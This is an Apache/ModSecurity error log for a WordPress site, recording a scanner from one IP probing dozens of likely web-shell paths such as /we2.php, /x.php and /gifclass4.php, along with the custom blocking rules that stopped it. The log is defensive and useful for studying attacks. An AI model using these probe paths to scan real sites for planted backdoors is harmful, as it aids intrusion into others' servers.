[Sun Apr 26 08:37:01.586966 2026] [:error] [pid 16574:tid 16635] [client 20.9.69.97:11128] [client 20.9.69.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "ae1eLX5MsX8wRQr99nYCcAAAA1Q"]
[Sun Apr 26 08:37:02.649806 2026] [:error] [pid 16574:tid 16641] [client 20.9.69.97:11073] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/index.php"] [unique_id "ae1eLn5MsX8wRQr99nYCcgAAA1c"]
[Sun Apr 26 08:37:03.796599 2026] [:error] [pid 8491:tid 8524] [client 20.9.69.97:11037] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/index.php"] [unique_id "ae1eLyq7I7e6CJooQM2zVQAAANg"]
[Sun Apr 26 08:37:04.395188 2026] [:error] [pid 16574:tid 16619] [client 20.9.69.97:11164] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/index.php"] [unique_id "ae1eMH5MsX8wRQr99nYCeAAAA0w"]
[Sun Apr 26 08:37:06.216470 2026] [:error] [pid 22573:tid 22624] [client 20.9.69.97:11035] [client 20.9.69.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "ae1eMnB3EmQlD4yKUt819wAAAZE"]
[Sun Apr 26 08:37:07.059872 2026] [:error] [pid 16515:tid 16535] [client 20.9.69.97:11227] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/about.php"] [unique_id "ae1eM1tDrUmgHSvpuLzWNQAAAlE"]
[Sun Apr 26 08:37:12.904616 2026] [autoindex:error] [pid 8385:tid 8425] [client 20.9.69.97:11198] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 26 08:37:13.133310 2026] [:error] [pid 8385:tid 8427] [client 20.9.69.97:11198] [client 20.9.69.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/about.php"] [unique_id "ae1eOTOy7_J84Wx3-ox66QAAAEM"]
[Sun Apr 26 08:37:16.219952 2026] [:error] [pid 8390:tid 8469] [client 20.9.69.97:11049] [client 20.9.69.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/about.php"] [unique_id "ae1ePIGPtFK_i9p5yxREkgAAAJI"]
[Sun Apr 26 08:37:20.343679 2026] [proxy_fcgi:error] [pid 8385:tid 8424] [client 20.9.69.97:11045] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 08:38:08.052748 2026] [autoindex:error] [pid 13137:tid 13158] [client 20.9.69.97:11043] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 26 08:38:09.829688 2026] [:error] [pid 13137:tid 13159] [client 20.9.69.97:11043] [client 20.9.69.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/index.php"] [unique_id "ae1ecd0RB4J0o4h5neHy-gAAAhI"]
[Sun Apr 26 08:38:16.917155 2026] [:error] [pid 22573:tid 22608] [client 20.9.69.97:11027] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/radio.php"] [unique_id "ae1eeHB3EmQlD4yKUt82SgAAAYI"]
[Sun Apr 26 08:38:32.736175 2026] [:error] [pid 16515:tid 16536] [client 20.9.69.97:11246] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "ae1eiFtDrUmgHSvpuLzWcgAAAlI"]
[Sun Apr 26 08:38:49.691253 2026] [:error] [pid 8491:tid 8515] [client 20.9.69.97:11239] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "ae1emSq7I7e6CJooQM2ziQAAANA"]
[Sun Apr 26 08:38:56.067663 2026] [:error] [pid 13137:tid 13143] [client 212.47.78.127:57359] [client 212.47.78.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae1eoN0RB4J0o4h5neHzKgAAAgM"]
[Sun Apr 26 08:38:56.627737 2026] [:error] [pid 22573:tid 22611] [client 212.47.78.127:56577] [client 212.47.78.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ae1eoHB3EmQlD4yKUt82eAAAAYU"]
[Sun Apr 26 08:38:57.230359 2026] [:error] [pid 16515:tid 16536] [client 212.47.78.127:59601] [client 212.47.78.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/media/system/js/core.js"] [unique_id "ae1eoVtDrUmgHSvpuLzWggAAAlI"]
[Sun Apr 26 08:38:57.899559 2026] [:error] [pid 13137:tid 13154] [client 20.9.69.97:11255] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/admin.php"] [unique_id "ae1eod0RB4J0o4h5neHzMgAAAg0"]
[Sun Apr 26 08:40:02.388011 2026] [:error] [pid 16574:tid 16608] [client 20.9.69.97:11220] [client 20.9.69.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "ae1e4n5MsX8wRQr99nYCtQAAA0Q"]
[Sun Apr 26 08:40:04.012118 2026] [:error] [pid 8390:tid 8460] [client 20.9.69.97:11215] [client 20.9.69.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "ae1e5IGPtFK_i9p5yxRFwQAAAIk"]
[Sun Apr 26 08:40:14.335715 2026] [:error] [pid 8390:tid 8461] [client 20.9.69.97:11136] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ae1e7oGPtFK_i9p5yxRF3QAAAIo"]
[Sun Apr 26 08:40:14.790889 2026] [:error] [pid 13137:tid 13143] [client 20.9.69.97:11254] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ae1e7t0RB4J0o4h5neHzfwAAAgM"]
[Sun Apr 26 08:40:16.842459 2026] [:error] [pid 13137:tid 13149] [client 20.9.69.97:11205] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ae1e8N0RB4J0o4h5neHzhAAAAgk"]
[Sun Apr 26 08:40:17.768516 2026] [:error] [pid 22572:tid 22585] [client 20.9.69.97:11230] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ae1e8dXOViWCFU-pZzCE5AAAAUc"]
[Sun Apr 26 08:40:18.764461 2026] [:error] [pid 22573:tid 22615] [client 20.9.69.97:11247] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "ae1e8nB3EmQlD4yKUt82pwAAAYg"]
[Sun Apr 26 08:40:21.508454 2026] [:error] [pid 16574:tid 16637] [client 20.9.69.97:11260] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "ae1e9X5MsX8wRQr99nYCvQAAA1U"]
[Sun Apr 26 08:40:23.953259 2026] [:error] [pid 8390:tid 8460] [client 20.9.69.97:11200] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "ae1e94GPtFK_i9p5yxRF-gAAAIk"]
[Sun Apr 26 08:40:25.829371 2026] [:error] [pid 22572:tid 22586] [client 20.9.69.97:11263] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "ae1e-dXOViWCFU-pZzCE7QAAAUg"]
[Sun Apr 26 08:40:27.684164 2026] [:error] [pid 8390:tid 8452] [client 20.9.69.97:11139] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ae1e-4GPtFK_i9p5yxRGBgAAAIE"]
[Sun Apr 26 08:40:29.123140 2026] [:error] [pid 8383:tid 8419] [client 20.9.69.97:11223] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ae1e_dFa2S3EsATMdWPURQAAABY"]
[Sun Apr 26 08:40:34.180721 2026] [:error] [pid 8385:tid 8431] [client 20.9.69.97:11226] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ae1fAjOy7_J84Wx3-ox7xwAAAEc"]
[Sun Apr 26 08:40:35.287800 2026] [:error] [pid 8491:tid 8524] [client 20.9.69.97:11235] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ae1fAyq7I7e6CJooQM2zsAAAANg"]
[Sun Apr 26 08:40:35.861598 2026] [:error] [pid 8390:tid 8456] [client 20.9.69.97:11261] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/520.php"] [unique_id "ae1fA4GPtFK_i9p5yxRGMwAAAIU"]
[Sun Apr 26 08:40:37.430151 2026] [:error] [pid 22572:tid 22588] [client 20.9.69.97:11212] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/520.php"] [unique_id "ae1fBdXOViWCFU-pZzCE-AAAAUo"]
[Sun Apr 26 08:40:39.085525 2026] [:error] [pid 22572:tid 22585] [client 20.9.69.97:11162] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/520.php"] [unique_id "ae1fB9XOViWCFU-pZzCFAgAAAUc"]
[Sun Apr 26 08:40:40.333286 2026] [:error] [pid 8385:tid 8428] [client 20.9.69.97:11087] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/520.php"] [unique_id "ae1fCDOy7_J84Wx3-ox7zAAAAEQ"]
[Sun Apr 26 08:40:41.939425 2026] [:error] [pid 22572:tid 22597] [client 20.9.69.97:11091] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ar.php"] [unique_id "ae1fCdXOViWCFU-pZzCFCwAAAVM"]
[Sun Apr 26 08:40:42.640530 2026] [:error] [pid 16515:tid 16542] [client 20.9.69.97:11244] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ar.php"] [unique_id "ae1fCltDrUmgHSvpuLzWyQAAAlg"]
[Sun Apr 26 08:40:44.644571 2026] [:error] [pid 8385:tid 8439] [client 20.9.69.97:11203] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ar.php"] [unique_id "ae1fDDOy7_J84Wx3-ox70gAAAE8"]
[Sun Apr 26 08:40:45.652478 2026] [:error] [pid 8390:tid 8471] [client 20.9.69.97:11202] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ar.php"] [unique_id "ae1fDYGPtFK_i9p5yxRGRAAAAJQ"]
[Sun Apr 26 08:40:46.241888 2026] [:error] [pid 8390:tid 8454] [client 20.9.69.97:11213] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ae1fDoGPtFK_i9p5yxRGRwAAAIM"]
[Sun Apr 26 08:40:46.995942 2026] [:error] [pid 8390:tid 8469] [client 20.9.69.97:11149] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ae1fDoGPtFK_i9p5yxRGSAAAAJI"]
[Sun Apr 26 08:40:48.064754 2026] [:error] [pid 13137:tid 13162] [client 20.9.69.97:11154] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ae1fEN0RB4J0o4h5neHznQAAAhU"]
[Sun Apr 26 08:40:48.781348 2026] [:error] [pid 16574:tid 16643] [client 20.9.69.97:11138] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ae1fEH5MsX8wRQr99nYC0AAAA1g"]
[Sun Apr 26 08:40:50.110145 2026] [:error] [pid 13137:tid 13151] [client 20.9.69.97:11143] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "ae1fEt0RB4J0o4h5neHznwAAAgo"]
[Sun Apr 26 08:40:51.502616 2026] [:error] [pid 8390:tid 8465] [client 20.9.69.97:11258] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "ae1fE4GPtFK_i9p5yxRGUAAAAI4"]
[Sun Apr 26 08:40:52.080798 2026] [:error] [pid 8390:tid 8456] [client 20.9.69.97:11031] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "ae1fFIGPtFK_i9p5yxRGUQAAAIU"]
[Sun Apr 26 08:40:54.298597 2026] [:error] [pid 8383:tid 8408] [client 20.9.69.97:11262] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "ae1fFtFa2S3EsATMdWPUUAAAAAs"]
[Sun Apr 26 08:40:56.887810 2026] [:error] [pid 8390:tid 8471] [client 20.9.69.97:11144] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass4.php"] [unique_id "ae1fGIGPtFK_i9p5yxRGYAAAAJQ"]
[Sun Apr 26 08:40:59.600703 2026] [:error] [pid 8383:tid 8401] [client 20.9.69.97:11214] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass4.php"] [unique_id "ae1fG9Fa2S3EsATMdWPUUgAAAAQ"]
[Sun Apr 26 08:41:02.629157 2026] [:error] [pid 13137:tid 13154] [client 20.9.69.97:11232] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass4.php"] [unique_id "ae1fHt0RB4J0o4h5neHzqwAAAg0"]
[Sun Apr 26 08:41:03.933915 2026] [:error] [pid 22572:tid 22594] [client 20.9.69.97:11204] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass4.php"] [unique_id "ae1fH9XOViWCFU-pZzCFHQAAAVA"]
[Sun Apr 26 08:41:05.225400 2026] [:error] [pid 13137:tid 13162] [client 20.9.69.97:11211] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "ae1fId0RB4J0o4h5neHzrwAAAhU"]
[Sun Apr 26 08:41:06.925529 2026] [:error] [pid 8390:tid 8459] [client 20.9.69.97:11180] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "ae1fIoGPtFK_i9p5yxRGaAAAAIg"]
[Sun Apr 26 08:41:09.681038 2026] [:error] [pid 22573:tid 22618] [client 20.9.69.97:11075] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "ae1fJXB3EmQlD4yKUt82ugAAAYs"]
